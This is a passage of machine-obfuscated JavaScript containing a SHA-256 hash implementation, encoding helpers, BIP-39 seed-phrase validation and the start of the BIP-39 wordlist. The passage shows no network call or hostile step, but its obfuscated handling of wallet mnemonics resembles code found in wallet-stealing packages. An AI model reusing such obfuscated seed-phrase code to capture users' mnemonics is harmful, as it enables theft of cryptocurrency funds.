| SHA256_K = Uint32Array.from([0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0xfc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x6ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]), | |
| SHA256_W = new Uint32Array(0x40), | |
| SHA2_32B = class extends HashMD { | |
| constructor(_0xdf77d6) { | |
| super(0x40, _0xdf77d6, 0x8, false); | |
| } | |
| get() { | |
| const { | |
| A: _0x4e585e, | |
| B: _0x1be33b, | |
| C: _0x375d92, | |
| D: _0x5c2336, | |
| E: _0x189dbf, | |
| F: _0x5d3846, | |
| G: _0x5c0c5e, | |
| H: _0x31deb4 | |
| } = this; | |
| return [_0x4e585e, _0x1be33b, _0x375d92, _0x5c2336, _0x189dbf, _0x5d3846, _0x5c0c5e, _0x31deb4]; | |
| } | |
| set(_0x7c8d37, _0x1da0ff, _0x48279d, _0x9b98f5, _0x5e058a, _0x451607, _0x57c766, _0xf28055) { | |
| this.A = _0x7c8d37 | 0x0; | |
| this.B = _0x1da0ff | 0x0; | |
| this.C = _0x48279d | 0x0; | |
| this.D = _0x9b98f5 | 0x0; | |
| this.E = _0x5e058a | 0x0; | |
| this.F = _0x451607 | 0x0; | |
| this.G = _0x57c766 | 0x0; | |
| this.H = _0xf28055 | 0x0; | |
| } | |
| process(_0x52e59b, _0x1deb9a) { | |
| for (let _0x3e0b4e = 0x0; _0x3e0b4e < 0x10; _0x1deb9a += 0x4) { | |
| SHA256_W[_0x3e0b4e] = _0x52e59b.getUint32(_0x1deb9a, false); | |
| _0x3e0b4e++; | |
| } | |
| for (let _0x413906 = 0x10; _0x413906 < 0x40; _0x413906++) { | |
| const _0x36826e = SHA256_W[_0x413906 - 0xf], | |
| _0x238550 = SHA256_W[_0x413906 - 0x2], | |
| _0x4fdd1f = rotr(_0x36826e, 0x7) ^ rotr(_0x36826e, 0x12) ^ _0x36826e >>> 0x3, | |
| _0x3d24ab = rotr(_0x238550, 0x11) ^ rotr(_0x238550, 0x13) ^ _0x238550 >>> 0xa; | |
| SHA256_W[_0x413906] = _0x3d24ab + SHA256_W[_0x413906 - 0x7] + _0x4fdd1f + SHA256_W[_0x413906 - 0x10] | 0x0; | |
| } | |
| let { | |
| A: _0x3dcbb4, | |
| B: _0x89406e, | |
| C: _0x3afec8, | |
| D: _0x593cd4, | |
| E: _0x1d662e, | |
| F: _0x4cd591, | |
| G: _0x19ed85, | |
| H: _0x5341ba | |
| } = this; | |
| for (let _0x31705e = 0x0; _0x31705e < 0x40; _0x31705e++) { | |
| const _0x2a0b68 = rotr(_0x1d662e, 0x6) ^ rotr(_0x1d662e, 0xb) ^ rotr(_0x1d662e, 0x19), | |
| _0x4413d3 = _0x5341ba + _0x2a0b68 + Chi(_0x1d662e, _0x4cd591, _0x19ed85) + SHA256_K[_0x31705e] + SHA256_W[_0x31705e] | 0x0, | |
| _0x411b87 = rotr(_0x3dcbb4, 0x2) ^ rotr(_0x3dcbb4, 0xd) ^ rotr(_0x3dcbb4, 0x16), | |
| _0x5910c3 = _0x411b87 + Maj(_0x3dcbb4, _0x89406e, _0x3afec8) | 0x0; | |
| _0x5341ba = _0x19ed85; | |
| _0x19ed85 = _0x4cd591; | |
| _0x4cd591 = _0x1d662e; | |
| _0x1d662e = _0x593cd4 + _0x4413d3 | 0x0; | |
| _0x593cd4 = _0x3afec8; | |
| _0x3afec8 = _0x89406e; | |
| _0x89406e = _0x3dcbb4; | |
| _0x3dcbb4 = _0x4413d3 + _0x5910c3 | 0x0; | |
| } | |
| _0x3dcbb4 = _0x3dcbb4 + this.A | 0x0; | |
| _0x89406e = _0x89406e + this.B | 0x0; | |
| _0x3afec8 = _0x3afec8 + this.C | 0x0; | |
| _0x593cd4 = _0x593cd4 + this.D | 0x0; | |
| _0x1d662e = _0x1d662e + this.E | 0x0; | |
| _0x4cd591 = _0x4cd591 + this.F | 0x0; | |
| _0x19ed85 = _0x19ed85 + this.G | 0x0; | |
| _0x5341ba = _0x5341ba + this.H | 0x0; | |
| this.set(_0x3dcbb4, _0x89406e, _0x3afec8, _0x593cd4, _0x1d662e, _0x4cd591, _0x19ed85, _0x5341ba); | |
| } | |
| roundClean() { | |
| clean(SHA256_W); | |
| } | |
| destroy() { | |
| this.set(0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0); | |
| clean(this.buffer); | |
| } | |
| }, | |
| _SHA256 = class extends SHA2_32B { | |
| A = SHA256_IV[0x0] | 0x0; | |
| B = SHA256_IV[0x1] | 0x0; | |
| C = SHA256_IV[0x2] | 0x0; | |
| D = SHA256_IV[0x3] | 0x0; | |
| E = SHA256_IV[0x4] | 0x0; | |
| F = SHA256_IV[0x5] | 0x0; | |
| G = SHA256_IV[0x6] | 0x0; | |
| H = SHA256_IV[0x7] | 0x0; | |
| constructor() { | |
| super(0x20); | |
| } | |
| }, | |
| sha256 = createHasher(() => new _SHA256(), oidNist(0x1)); | |
| function isBytes2(_0x1cf176) { | |
| if (_0x1cf176 instanceof Uint8Array) { | |
| return true; | |
| } | |
| if (!ArrayBuffer.isView(_0x1cf176)) { | |
| return false; | |
| } | |
| return _0x1cf176.constructor.name === "Uint8Array"; | |
| } | |
| function isArrayOf(_0x45af2d, _0x17a050) { | |
| if (!Array.isArray(_0x17a050)) { | |
| return false; | |
| } | |
| if (_0x17a050.length === 0x0) { | |
| return true; | |
| } | |
| if (_0x45af2d) { | |
| return _0x17a050.every(_0xff421e => typeof _0xff421e === "string"); | |
| } | |
| return _0x17a050.every(_0x32e8d8 => Number.isSafeInteger(_0x32e8d8)); | |
| } | |
| function afn(_0x208ec7) { | |
| if (typeof _0x208ec7 !== "function") { | |
| throw new Error("function expected"); | |
| } | |
| return true; | |
| } | |
| function astr(_0x55af49, _0x19d639) { | |
| if (typeof _0x19d639 !== "string") { | |
| throw new Error(_0x55af49 + ": string expected"); | |
| } | |
| return true; | |
| } | |
| function anumber2(_0x25d64d) { | |
| if (!Number.isSafeInteger(_0x25d64d)) { | |
| throw new Error("invalid integer: " + _0x25d64d); | |
| } | |
| } | |
| function aArr(_0x267267) { | |
| if (!Array.isArray(_0x267267)) { | |
| throw new Error("array expected"); | |
| } | |
| } | |
| function astrArr(_0x1c1827, _0x39476c) { | |
| if (!isArrayOf(true, _0x39476c)) { | |
| throw new Error(_0x1c1827 + ": array of strings expected"); | |
| } | |
| } | |
| function anumArr(_0xf01b1c, _0x342bec) { | |
| if (!isArrayOf(false, _0x342bec)) { | |
| throw new Error(_0xf01b1c + ": array of numbers expected"); | |
| } | |
| } | |
| function chain(..._0x4605fc) { | |
| const _0x5e27e2 = _0x50e26f => _0x50e26f, | |
| _0x1eda8a = (_0x38205b, _0x3c162f) => _0x2e6e99 => _0x38205b(_0x3c162f(_0x2e6e99)), | |
| _0x4e02e2 = _0x4605fc.map(_0x3ca37d => _0x3ca37d.encode).reduceRight(_0x1eda8a, _0x5e27e2), | |
| _0x9fd60f = _0x4605fc.map(_0x3877a4 => _0x3877a4.decode).reduce(_0x1eda8a, _0x5e27e2); | |
| return { | |
| encode: _0x4e02e2, | |
| decode: _0x9fd60f | |
| }; | |
| } | |
| function alphabet(_0x35562a) { | |
| const _0x2033e6 = typeof _0x35562a === "string" ? _0x35562a.split('') : _0x35562a, | |
| _0x2c4d0e = _0x2033e6.length; | |
| astrArr("alphabet", _0x2033e6); | |
| const _0x54ab02 = new Map(_0x2033e6.map((_0x1763cb, _0x55e51e) => [_0x1763cb, _0x55e51e])); | |
| return { | |
| encode: _0x49def1 => { | |
| aArr(_0x49def1); | |
| return _0x49def1.map(_0x1740fd => { | |
| if (!Number.isSafeInteger(_0x1740fd) || _0x1740fd < 0x0 || _0x1740fd >= _0x2c4d0e) { | |
| throw new Error("alphabet.encode: digit index outside alphabet \"" + _0x1740fd + "\". Allowed: " + _0x35562a); | |
| } | |
| return _0x2033e6[_0x1740fd]; | |
| }); | |
| }, | |
| decode: _0x24387b => { | |
| aArr(_0x24387b); | |
| return _0x24387b.map(_0x5116d4 => { | |
| astr("alphabet.decode", _0x5116d4); | |
| const _0x4966e6 = _0x54ab02.get(_0x5116d4); | |
| if (_0x4966e6 === void 0x0) { | |
| throw new Error("Unknown letter: \"" + _0x5116d4 + "\". Allowed: " + _0x35562a); | |
| } | |
| return _0x4966e6; | |
| }); | |
| } | |
| }; | |
| } | |
| function join(_0x260f42 = '') { | |
| astr("join", _0x260f42); | |
| return { | |
| encode: _0x149aed => { | |
| astrArr("join.decode", _0x149aed); | |
| return _0x149aed.join(_0x260f42); | |
| }, | |
| decode: _0x45dd79 => { | |
| astr("join.decode", _0x45dd79); | |
| return _0x45dd79.split(_0x260f42); | |
| } | |
| }; | |
| } | |
| function padding(_0x463b5c, _0x10ebe8 = '=') { | |
| anumber2(_0x463b5c); | |
| astr("padding", _0x10ebe8); | |
| return { | |
| encode(_0x57e1cc) { | |
| astrArr("padding.encode", _0x57e1cc); | |
| while (_0x57e1cc.length * _0x463b5c % 0x8) { | |
| _0x57e1cc.push(_0x10ebe8); | |
| } | |
| return _0x57e1cc; | |
| }, | |
| decode(_0x526611) { | |
| astrArr("padding.decode", _0x526611); | |
| let _0x2fc221 = _0x526611.length; | |
| if (_0x2fc221 * _0x463b5c % 0x8) { | |
| throw new Error("padding: invalid, string should have whole number of bytes"); | |
| } | |
| for (; _0x2fc221 > 0x0 && _0x526611[_0x2fc221 - 0x1] === _0x10ebe8; _0x2fc221--) { | |
| const _0x314304 = _0x2fc221 - 0x1, | |
| _0x3bed13 = _0x314304 * _0x463b5c; | |
| if (_0x3bed13 % 0x8 === 0x0) { | |
| throw new Error("padding: invalid, string has too much padding"); | |
| } | |
| } | |
| return _0x526611.slice(0x0, _0x2fc221); | |
| } | |
| }; | |
| } | |
| function convertRadix(_0x27d736, _0x5b63bf, _0x5e108c) { | |
| if (_0x5b63bf < 0x2) { | |
| throw new Error("convertRadix: invalid from=" + _0x5b63bf + ", base cannot be less than 2"); | |
| } | |
| if (_0x5e108c < 0x2) { | |
| throw new Error("convertRadix: invalid to=" + _0x5e108c + ", base cannot be less than 2"); | |
| } | |
| aArr(_0x27d736); | |
| if (!_0x27d736.length) { | |
| return []; | |
| } | |
| let _0x1b1f7c = 0x0; | |
| const _0x3ea99f = [], | |
| _0x356c67 = Array.from(_0x27d736, _0x4628b8 => { | |
| anumber2(_0x4628b8); | |
| if (_0x4628b8 < 0x0 || _0x4628b8 >= _0x5b63bf) { | |
| throw new Error("invalid integer: " + _0x4628b8); | |
| } | |
| return _0x4628b8; | |
| }), | |
| _0x1bd0ad = _0x356c67.length; | |
| while (true) { | |
| let _0x5ad1ff = 0x0, | |
| _0x11047a = true; | |
| for (let _0x219124 = _0x1b1f7c; _0x219124 < _0x1bd0ad; _0x219124++) { | |
| const _0x556ec3 = _0x356c67[_0x219124], | |
| _0x78fcb4 = _0x5b63bf * _0x5ad1ff, | |
| _0x329ea5 = _0x78fcb4 + _0x556ec3; | |
| if (!Number.isSafeInteger(_0x329ea5) || _0x78fcb4 / _0x5b63bf !== _0x5ad1ff || _0x329ea5 - _0x556ec3 !== _0x78fcb4) { | |
| throw new Error("convertRadix: carry overflow"); | |
| } | |
| const _0x48d4f9 = _0x329ea5 / _0x5e108c; | |
| _0x5ad1ff = _0x329ea5 % _0x5e108c; | |
| const _0x513119 = Math.floor(_0x48d4f9); | |
| _0x356c67[_0x219124] = _0x513119; | |
| if (!Number.isSafeInteger(_0x513119) || _0x513119 * _0x5e108c + _0x5ad1ff !== _0x329ea5) { | |
| throw new Error("convertRadix: carry overflow"); | |
| } | |
| if (!_0x11047a) { | |
| continue; | |
| } else if (!_0x513119) { | |
| _0x1b1f7c = _0x219124; | |
| } else { | |
| _0x11047a = false; | |
| } | |
| } | |
| _0x3ea99f.push(_0x5ad1ff); | |
| if (_0x11047a) { | |
| break; | |
| } | |
| } | |
| for (let _0x192637 = 0x0; _0x192637 < _0x27d736.length - 0x1 && _0x27d736[_0x192637] === 0x0; _0x192637++) { | |
| _0x3ea99f.push(0x0); | |
| } | |
| return _0x3ea99f.reverse(); | |
| } | |
| var gcd = (_0x14e0b8, _0x47f5) => _0x47f5 === 0x0 ? _0x14e0b8 : gcd(_0x47f5, _0x14e0b8 % _0x47f5), | |
| radix2carry = (_0x5b7720, _0x20ca27) => _0x5b7720 + (_0x20ca27 - gcd(_0x5b7720, _0x20ca27)), | |
| powers = (() => { | |
| let _0xa3eb56 = []; | |
| for (let _0x4d3d6a = 0x0; _0x4d3d6a < 0x28; _0x4d3d6a++) { | |
| _0xa3eb56.push(0x2 ** _0x4d3d6a); | |
| } | |
| return _0xa3eb56; | |
| })(); | |
| function convertRadix2(_0x42876d, _0x32bbc3, _0x1f414d, _0x4e4237) { | |
| aArr(_0x42876d); | |
| if (_0x32bbc3 <= 0x0 || _0x32bbc3 > 0x20) { | |
| throw new Error("convertRadix2: wrong from=" + _0x32bbc3); | |
| } | |
| if (_0x1f414d <= 0x0 || _0x1f414d > 0x20) { | |
| throw new Error("convertRadix2: wrong to=" + _0x1f414d); | |
| } | |
| if (radix2carry(_0x32bbc3, _0x1f414d) > 0x20) { | |
| throw new Error("convertRadix2: carry overflow from=" + _0x32bbc3 + " to=" + _0x1f414d + " carryBits=" + radix2carry(_0x32bbc3, _0x1f414d)); | |
| } | |
| let _0x54e5ad = 0x0, | |
| _0x28c96e = 0x0; | |
| const _0x3a14b4 = powers[_0x32bbc3], | |
| _0x51a751 = powers[_0x1f414d] - 0x1, | |
| _0x357f8a = []; | |
| for (const _0x108d9b of _0x42876d) { | |
| anumber2(_0x108d9b); | |
| if (_0x108d9b >= _0x3a14b4) { | |
| throw new Error("convertRadix2: invalid data word=" + _0x108d9b + " from=" + _0x32bbc3); | |
| } | |
| _0x54e5ad = _0x54e5ad << _0x32bbc3 | _0x108d9b; | |
| if (_0x28c96e + _0x32bbc3 > 0x20) { | |
| throw new Error("convertRadix2: carry overflow pos=" + _0x28c96e + " from=" + _0x32bbc3); | |
| } | |
| _0x28c96e += _0x32bbc3; | |
| for (; _0x28c96e >= _0x1f414d; _0x28c96e -= _0x1f414d) { | |
| _0x357f8a.push((_0x54e5ad >> _0x28c96e - _0x1f414d & _0x51a751) >>> 0x0); | |
| } | |
| const _0x3a6eee = powers[_0x28c96e]; | |
| if (_0x3a6eee === void 0x0) { | |
| throw new Error("invalid carry"); | |
| } | |
| _0x54e5ad &= _0x3a6eee - 0x1; | |
| } | |
| _0x54e5ad = _0x54e5ad << _0x1f414d - _0x28c96e & _0x51a751; | |
| if (!_0x4e4237 && _0x28c96e >= _0x32bbc3) { | |
| throw new Error("Excess padding"); | |
| } | |
| if (!_0x4e4237 && _0x54e5ad > 0x0) { | |
| throw new Error("Non-zero padding: " + _0x54e5ad); | |
| } | |
| if (_0x4e4237 && _0x28c96e > 0x0) { | |
| _0x357f8a.push(_0x54e5ad >>> 0x0); | |
| } | |
| return _0x357f8a; | |
| } | |
| function radix(_0x35cd21) { | |
| anumber2(_0x35cd21); | |
| const _0x2db8fe = 256; | |
| return { | |
| encode: _0x3d156a => { | |
| if (!isBytes2(_0x3d156a)) { | |
| throw new Error("radix.encode input should be Uint8Array"); | |
| } | |
| return convertRadix(Array.from(_0x3d156a), _0x2db8fe, _0x35cd21); | |
| }, | |
| decode: _0x537ddc => { | |
| anumArr("radix.decode", _0x537ddc); | |
| return Uint8Array.from(convertRadix(_0x537ddc, _0x35cd21, _0x2db8fe)); | |
| } | |
| }; | |
| } | |
| function radix2(_0x5d5953, _0x1e9f30 = false) { | |
| anumber2(_0x5d5953); | |
| if (_0x5d5953 <= 0x0 || _0x5d5953 > 0x20) { | |
| throw new Error("radix2: bits should be in (0..32]"); | |
| } | |
| if (radix2carry(0x8, _0x5d5953) > 0x20 || radix2carry(_0x5d5953, 0x8) > 0x20) { | |
| throw new Error("radix2: carry overflow"); | |
| } | |
| return { | |
| encode: _0x1a4e7c => { | |
| if (!isBytes2(_0x1a4e7c)) { | |
| throw new Error("radix2.encode input should be Uint8Array"); | |
| } | |
| return convertRadix2(Array.from(_0x1a4e7c), 0x8, _0x5d5953, !_0x1e9f30); | |
| }, | |
| decode: _0x17dbae => { | |
| anumArr("radix2.decode", _0x17dbae); | |
| return Uint8Array.from(convertRadix2(_0x17dbae, _0x5d5953, 0x8, _0x1e9f30)); | |
| } | |
| }; | |
| } | |
| function checksum(_0xa21b92, _0x4af635) { | |
| anumber2(_0xa21b92); | |
| afn(_0x4af635); | |
| return { | |
| encode(_0x42cb32) { | |
| if (!isBytes2(_0x42cb32)) { | |
| throw new Error("checksum.encode: input should be Uint8Array"); | |
| } | |
| const _0x215b88 = _0x4af635(_0x42cb32).slice(0x0, _0xa21b92), | |
| _0x5e8e47 = new Uint8Array(_0x42cb32.length + _0xa21b92); | |
| _0x5e8e47.set(_0x42cb32); | |
| _0x5e8e47.set(_0x215b88, _0x42cb32.length); | |
| return _0x5e8e47; | |
| }, | |
| decode(_0x59381c) { | |
| if (!isBytes2(_0x59381c)) { | |
| throw new Error("checksum.decode: input should be Uint8Array"); | |
| } | |
| const _0x49a88c = _0x59381c.slice(0x0, -_0xa21b92), | |
| _0x297b9b = _0x59381c.slice(-_0xa21b92), | |
| _0xb1e14b = _0x4af635(_0x49a88c).slice(0x0, _0xa21b92); | |
| for (let _0x32e387 = 0x0; _0x32e387 < _0xa21b92; _0x32e387++) { | |
| if (_0xb1e14b[_0x32e387] !== _0x297b9b[_0x32e387]) { | |
| throw new Error("Invalid checksum"); | |
| } | |
| } | |
| return _0x49a88c; | |
| } | |
| }; | |
| } | |
| var utils = { | |
| alphabet: alphabet, | |
| chain: chain, | |
| checksum: checksum, | |
| convertRadix: convertRadix, | |
| convertRadix2: convertRadix2, | |
| radix: radix, | |
| radix2: radix2, | |
| join: join, | |
| padding: padding | |
| }; | |
| function nfkd(_0x1b5060) { | |
| if (typeof _0x1b5060 !== "string") { | |
| throw new TypeError("invalid mnemonic type: " + typeof _0x1b5060); | |
| } | |
| return _0x1b5060.normalize("NFKD"); | |
| } | |
| function normalize(_0x19fb58) { | |
| const _0x25be3b = nfkd(_0x19fb58), | |
| _0x5aaf5b = _0x25be3b.split('\x20'); | |
| if (![0xc, 0xf, 0x12, 0x15, 0x18].includes(_0x5aaf5b.length)) { | |
| throw new Error("Invalid mnemonic"); | |
| } | |
| return { | |
| nfkd: _0x25be3b, | |
| words: _0x5aaf5b | |
| }; | |
| } | |
| function aentropy(_0x38cc35) { | |
| abytes(_0x38cc35); | |
| if (![0x10, 0x14, 0x18, 0x1c, 0x20].includes(_0x38cc35.length)) { | |
| throw new Error("invalid entropy length"); | |
| } | |
| } | |
| var calcChecksum = _0x106681 => { | |
| const _0xe5b61d = 0x8 - _0x106681.length / 0x4; | |
| return new Uint8Array([sha256(_0x106681)[0x0] >> _0xe5b61d << _0xe5b61d]); | |
| }; | |
| function getCoder(_0x46f2a8) { | |
| if (!Array.isArray(_0x46f2a8) || _0x46f2a8.length !== 0x800 || typeof _0x46f2a8[0x0] !== "string") { | |
| throw new Error("Wordlist: expected array of 2048 strings"); | |
| } | |
| _0x46f2a8.forEach(_0x10ebbb => { | |
| if (typeof _0x10ebbb !== "string") { | |
| throw new Error("wordlist: non-string element: " + _0x10ebbb); | |
| } | |
| }); | |
| return chain(checksum(0x1, calcChecksum), radix2(0xb, true), alphabet(_0x46f2a8)); | |
| } | |
| function mnemonicToEntropy(_0x269af2, _0x2ad9eb) { | |
| const { | |
| words: _0x3a6ac5 | |
| } = normalize(_0x269af2), | |
| _0x270bd5 = getCoder(_0x2ad9eb).decode(_0x3a6ac5); | |
| aentropy(_0x270bd5); | |
| return _0x270bd5; | |
| } | |
| function validateMnemonic(_0x3ca9bd, _0x358e29) { | |
| try { | |
| mnemonicToEntropy(_0x3ca9bd, _0x358e29); | |
| } catch (_0x580b55) { | |
| return false; | |
| } | |
| return true; | |
| } | |
| var wordlist = "abandon\nability\nable\nabout\nabove\nabsent\nabsorb\nabstract\nabsurd\nabuse\naccess\naccident\naccount\naccuse\nachieve\nacid\nacoustic\nacquire\nacross\nact\naction\nactor\nactress\nactual\nadapt\nadd\naddict\naddress\nadjust\nadmit\nadult\nadvance\nadvice\naerobic\naffair\nafford\nafraid\nagain\nage\nagent\nagree\nahead\naim\nair\nairport\naisle\nalarm\nalbum\nalcohol\nalert\nalien\nall\nalley\nallow\nalmost\nalone\nalpha\nalready\nalso\nalter\nalways\namateur\namazing\namong\namount\namused\nanalyst\nanchor\nancient\nanger\nangle\nangry\nanimal\nankle\nannounce\nannual\nanother\nanswer\nantenna\nantique\nanxiety\nany\napart\napology\nappear\napple\napprove\napril\narch\narctic\narea\narena\nargue\narm\narmed\narmor\narmy\naround\narrange\narrest\narrive\narrow\nart\nartefact\nartist\nartwork\nask\naspect\nassault\nasset\nassist\nassume\nasthma\nathlete\natom\nattack\nattend\nattitude\nattract\nauction\naudit\naugust\naunt\nauthor\nauto\nautumn\naverage\navocado\navoid\nawake\naware\naway\nawesome\nawful\nawkward\naxis\nbaby\nbachelor\nbacon\nbadge\nbag\nbalance\nbalcony\nball\nbamboo\nbanana\nbanner\nbar\nbarely\nbargain\nbarrel\nbase\nbasic\nbasket\nbattle\nbeach\nbean\nbeauty\nbecause\nbecome\nbeef\nbefore\nbegin\nbehave\nbehind\nbelieve\nbelow\nbelt\nbench\nbenefit\nbest\nbetray\nbetter\nbetween\nbeyond\nbicycle\nbid\nbike\nbind\nbiology\nbird\nbirth\nbitter\nblack\nblade\nblame\nblanket\nblast\nbleak\nbless\nblind\nblood\nblossom\nblouse\nblue\nblur\nblush\nboard\nboat\nbody\nboil\nbomb\nbone\nbonus\nbook\nboost\nborder\nboring\nborrow\nboss\nbottom\nbounce\nbox\nboy\nbracket\nbrain\nbrand\nbrass\nbrave\nbread\nbreeze\nbrick\nbridge\nbrief\nbright\nbring\nbrisk\nbroccoli\nbroken\nbronze\nbroom\nbrother\nbrown\nbrush\nbubble\nbuddy\nbudget\nbuffalo\nbuild\nbulb\nbulk\nbullet\nbundle\nbunker\nburden\nburger\nburst\nbus\nbusiness\nbusy\nbutter\nbuyer\nbuzz\ncabbage\ncabin\ncable\ncactus\ncage\ncake\ncall\ncalm\ncamera\ncamp\ncan\ncanal\ncancel\ncandy\ncannon\ncanoe\ncanvas\ncanyon\ncapable\ncapital\ncaptain\ncar\ncarbon\ncard\ncargo\ncarpet\ncarry\ncart\ncase\ncash\ncasino\ncastle\ncasual\ncat\ncatalog\ncatch\ncategory\ncattle\ncaught\ncause\ncaution\ncave\nceiling\ncelery\ncement\ncensus\ncentury\ncereal\ncertain\nchair\nchalk\nchampion\nchange\nchaos\nchapter\ncharge\nchase\nchat\ncheap\ncheck\ncheese\nchef\ncherry\nchest\nchicken\nchief\nchild\nchimney\nchoice\nchoose\nchronic\nchuckle\nchunk\nchurn\ncigar\ncinnamon\ncircle\ncitizen\ncity\ncivil\nclaim\nclap\nclarify\nclaw\nclay\nclean\nclerk\nclever\nclick\nclient\ncliff\nclimb\nclinic\nclip\nclock\nclog\nclose\ncloth\ncloud\nclown\nclub\nclump\ncluster\nclutch\ncoach\ncoast\ncoconut\ncode\ncoffee\ncoil\ncoin\ncollect\ncolor\ncolumn\ncombine\ncome\ncomfort\ncomic\ncommon\ncompany\nconcert\nconduct\nconfirm\ncongress\nconnect\nconsider\ncontrol\nconvince\ncook\ncool\ncopper\ncopy\ncoral\ncore\ncorn\ncorrect\ncost\ncotton\ncouch\ncountry\ncouple\ncourse\ncousin\ncover\ncoyote\ncrack\ncradle\ncraft\ncram\ncrane\ncrash\ncrater\ncrawl\ncrazy\ncream\ncredit\ncreek\ncrew\ncricket\ncrime\ncrisp\ncritic\ncrop\ncross\ncrouch\ncrowd\ncrucial\ncruel\ncruise\ncrumble\ncrunch\ncrush\ncry\ncrystal\ncube\nculture\ncup\ncupboard\ncurious\ncurrent\ncurtain\ncurve\ncushion\ncustom\ncute\ncycle\ndad\ndamage\ndamp\ndance\ndanger\ndaring\ndash\ndaughter\ndawn\nday\ndeal\ndebate\ndebris\ndecade\ndecember\ndecide\ndecline\ndecorate\ndecrease\ndeer\ndefense\ndefine\ndefy\ndegree\ndelay\ndeliver\ndemand\ndemise\ndenial\ndentist\ndeny\ndepart\ndepend\ndeposit\ndepth\ndeputy\nderive\ndescribe\ndesert\ndesign\ndesk\ndespair\ndestroy\ndetail\ndetect\ndevelop\ndevice\ndevote\ndiagram\ndial\ndiamond\ndiary\ndice\ndiesel\ndiet\ndiffer\ndigital\ndignity\ndilemma\ndinner\ndinosaur\ndirect\ndirt\ndisagree\ndiscover\ndisease\ndish\ndismiss\ndisorder\ndisplay\ndistance\ndivert\ndivide\ndivorce\ndizzy\ndoctor\ndocument\ndog\ndoll\ndolphin\ndomain\ndonate\ndonkey\ndonor\ndoor\ndose\ndouble\ndove\ndraft\ndragon\ndrama\ndrastic\ndraw\ndream\ndress\ndrift\ndrill\ndrink\ndrip\ndrive\ndrop\ndrum\ndry\nduck\ndumb\ndune\nduring\ndust\ndutch\nduty\ndwarf\ndynamic\neager\neagle\nearly\nearn\nearth\neasily\neast\neasy\necho\necology\neconomy\nedge\nedit\neducate\neffort\negg\neight\neither\nelbow\nelder\nelectric\nelegant\nelement\nelephant\nelevator\nelite\nelse\nembark\nembody\nembrace\nemerge\nemotion\nemploy\nempower\nempty\nenable\nenact\nend\nendless\nendorse\nenemy\nenergy\nenforce\nengage\nengine\nenhance\nenjoy\nenlist\nenough\nenrich\nenroll\nensure\nenter\nentire\nentry\nenvelope\nepisode\nequal\nequip\nera\nerase\nerode\nerosion\nerror\nerupt\nescape\nessay\nessence\nestate\neternal\nethics\nevidence\nevil\nevoke\nevolve\nexact\nexample\nexcess\nexchange\nexcite\nexclude\nexcuse\nexecute\nexercise\nexhaust\nexhibit\nexile\nexist\nexit\nexotic\nexpand\nexpect\nexpire\nexplain\nexpose\nexpress\nextend\nextra\neye\neyebrow\nfabric\nface\nfaculty\nfade\nfaint\nfaith\nfall\nfalse\nfame\nfamily\nfamous\nfan\nfancy\nfantasy\nfarm\nfashion\nfat\nfatal\nfather\nfatigue\nfault\nfavorite\nfeature\nfebruary\nfederal\nfee\nfeed\nfeel\nfemale\nfence\nfestival\nfetch\nfever\nfew\nfiber\nfiction\nfield\nfigure\nfile\nfilm\nfilter\nfinal\nfind\nfine\nfinger\nfinish\nfire\nfirm\nfirst\nfiscal\nfish\nfit\nfitness\nfix\nflag\nflame\nflash\nflat\nflavor\nflee\nflight\nflip\nfloat\nflock\nfloor\nflower\nfluid\nflush\nfly\nfoam\nfocus\nfog\nfoil\nfold\nfollow\nfood\nfoot\nforce\nforest\nforget\nfork\nfortune\nforum\nforward\nfossil\nfoster\nfound\nfox\nfragile\nframe\nfrequent\nfresh\nfriend\nfringe\nfrog\nfront\nfrost\nfrown\nfrozen\nfruit\nfuel\nfun\nfunny\nfurnace\nfury\nfuture\ngadget\ngain\ngalaxy\ngallery\ngame\ngap\ngarage\ngarbage\ngarden\ngarlic\ngarment\ngas\ngasp\ngate\ngather\ngauge\ngaze\ngeneral\ngenius\ngenre\ngentle\ngenuine\ngesture\nghost\ngiant\ngift\ngiggle\nginger\ngiraffe\ngirl\ngive\nglad\nglance\nglare\nglass\nglide\nglimpse\nglobe\ngloom\nglory\nglove\nglow\nglue\ngoat\ngoddess\ngold\ngood\ngoose\ngorilla\ngospel\ngossip\ngovern\ngown\ngrab\ngrace\ngrain\ngrant\ngrape\ngrass\ngravity\ngreat\ngreen\ngrid\ngrief\ngrit\ngrocery\ngroup\ngrow\ngrunt\nguard\nguess\nguide\nguilt\nguitar\ngun\ngym\nhabit\nhair\nhalf\nhammer\nhamster\nhand\nhappy\nharbor\nhard\nharsh\nharvest\nhat\nhave\nhawk\nhazard\nhead\nhealth\nheart\nheavy\nhedgehog\nheight\nhello\nhelmet\nhelp\nhen\nhero\nhidden\nhigh\nhill\nhint\nhip\nhire\nhistory\nhobby\nhockey\nhold\nhole\nholiday\nhollow\nhome\nhoney\nhood\nhope\nhorn\nhorror\nhorse\nhospital\nhost\nhotel\nhour\nhover\nhub\nhuge\nhuman\nhumble\nhumor\nhundred\nhungry\nhunt\nhurdle\nhurry\nhurt\nhusband\nhybrid\nice\nicon\nidea\nidentify\nidle\nignore\nill\nillegal\nillness\nimage\nimitate\nimmense\nimmune\nimpact\nimpose\nimprove\nimpulse\ninch\ninclude\nincome\nincrease\nindex\nindicate\nindoor\nindustry\ninfant\ninflict\ninform\ninhale\ninherit\ninitial\ninject\ninjury\ninmate\ninner\ninnocent\ninput\ninquiry\ninsane\ninsect\ninside\ninspire\ninstall\nintact\ninterest\ninto\ninvest\ninvite\ninvolve\niron\nislan